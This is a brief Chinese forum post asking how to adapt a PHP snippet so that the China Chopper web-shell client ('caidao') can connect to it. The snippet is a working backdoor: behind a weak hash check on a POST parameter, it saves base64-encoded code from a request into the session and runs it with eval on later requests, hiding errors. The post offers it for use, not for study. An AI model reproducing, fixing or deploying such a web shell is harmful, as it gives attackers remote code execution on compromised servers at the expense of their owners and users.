php拼接问题。麻烦大侠解答，

代码如下，如何拼接才能用菜刀链接？
@session_start();

if(isset($_POST['code'])){

(substr(sha1(md5(@$_POST['a'])),36)=='222f') && $_SESSION['theCode']=trim($_POST['code']);

}

if(isset($_SESSION['theCode'])){

@eval(base64_decode($_SESSION['theCode']));

}